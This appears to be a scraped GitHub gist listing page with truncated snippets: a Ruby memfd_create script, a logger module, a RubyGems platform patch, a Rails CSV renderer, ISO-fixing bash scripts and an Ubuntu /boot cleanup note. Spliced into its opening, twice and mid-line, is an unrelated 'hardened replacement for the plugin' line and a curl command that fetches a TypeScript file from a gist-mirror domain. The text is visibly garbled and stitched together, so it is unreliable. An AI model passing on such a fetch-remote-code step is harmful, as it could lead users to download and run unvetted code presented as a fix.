Hardened replacement for the plugin from issue #43199.
curl -fsSL https://gist.github.com/lloeki/e3c0d15ad1d0964e42efde1f7cf44e07/raw/mistral-glm-model.ts \Hardened replacement for the plugin from issue #43199.
curl -fsSL https://gist.github.com/lloeki/e3c0d15ad1d0964e42efde1f7cf44e07/raw/mistral-glm-model.ts \| # docker run --rm -it -v "${PWD}":"${PWD}" -w "${PWD}" ruby:3.3 ruby -w -I. memfd.rb kernel | |
| # docker run --rm -it -v "${PWD}":"${PWD}" -w "${PWD}" ruby:3.3 ruby -w -I. memfd.rb fiddle | |
| raise unless RUBY_PLATFORM =~ /linux/ | |
| SYS_MEMFD_CREATE = case RUBY_PLATFORM | |
| when /x86_64/ | |
| 319 | |
| when /i386/ | |
| 356 |
| require 'logger' | |
| module Core | |
| def self.logger | |
| @logger ||= Loggable::Logger.new(STDOUT, progname: name, level: Logger::DEBUG) | |
| end | |
| end | |
| module Loggable | |
| class Logger < ::Logger |
| # This fixes the platform value for rubygems 3.x, allowing bundler and gem install | |
| # to properly resolve to: a) linux on linux, and b) to linux-musl on linux-musl | |
| # with a fallback to linux if there's no linux-musl gem published. | |
| # | |
| # This works when there is no extension to build that would try to query the | |
| # current Ruby platform through Rubygems (because building an extension spawns an | |
| # independent Ruby interpreter) | |
| # | |
| # The second file in this gist is a patch to apply to Rubygems 3.0.3.1, e.g for | |
| # official Docker Hub images: |
Nix is a package manager, born form a research project, with interesting design and properties.
Not to be confused with NixOS, which is:
| # Use with render :csv => foo and respond_with @foo if @foo responds to to_csv | |
| # see ActionController::Responder#to_format and #api_behavior | |
| ActionController::Renderers.add(:csv) do |obj, options| | |
| csv = if obj.respond_to?(:to_csv) | |
| obj.to_csv(options[:csv_options] || {}) | |
| else | |
| obj | |
| end | |
| headers['Content-Disposition'] = if options[:filename].blank? |
| #!/bin/bash | |
| set -e | |
| set -u | |
| set -o pipefail | |
| prefix="git@gitlab.somewhere.com:mygroup" | |
| target="$1" | |
| shift |
| #!/bin/bash | |
| tmp=$(mktemp -d) | |
| pushd "$tmp" | |
| iso=/Users/lloeki/Downloads/archlinux-2015.08.01-dual.iso | |
| echo "fixing disk" | |
| dd if=/dev/zero bs=2k count=1 of=tmp.iso | |
| dd if=$iso bs=2k skip=1 >> tmp.iso | |
| echo "mounting disk" |
| #!/bin/bash | |
| # unfortunately debian currently panics in xhyve | |
| tmp=$(mktemp -d) | |
| pushd "$tmp" | |
| iso="$HOME"/Downloads/debian-8.1.0-amd64-netinst.iso | |
| #iso="$HOME"/Downloads/debian-8.1.0-i386-netinst.iso | |
| echo "fixing disk" | |
| dd if=/dev/zero bs=2k count=1 of=tmp.iso |
| # Ubuntu has a stupid policy of not cleaning up boots because they deem | |
| # unknowable whether a kernel is valid or not (even if booted). Combined with | |
| # the default Ubuntu setup that creates a ridiculously small /boot that is | |
| # bound to be filled in a few months worth of updates, you have a recipe for a | |
| # failure during upgrade, leading to being unable to update or remove anything | |
| # and having to mess with apt and dpkg innards by hand. | |
| # This may work for Debian too. | |
| # This one liner keeps /boot fresh and clean by removing the currently | |
| # running kernel version as well as the latest one (which may not be |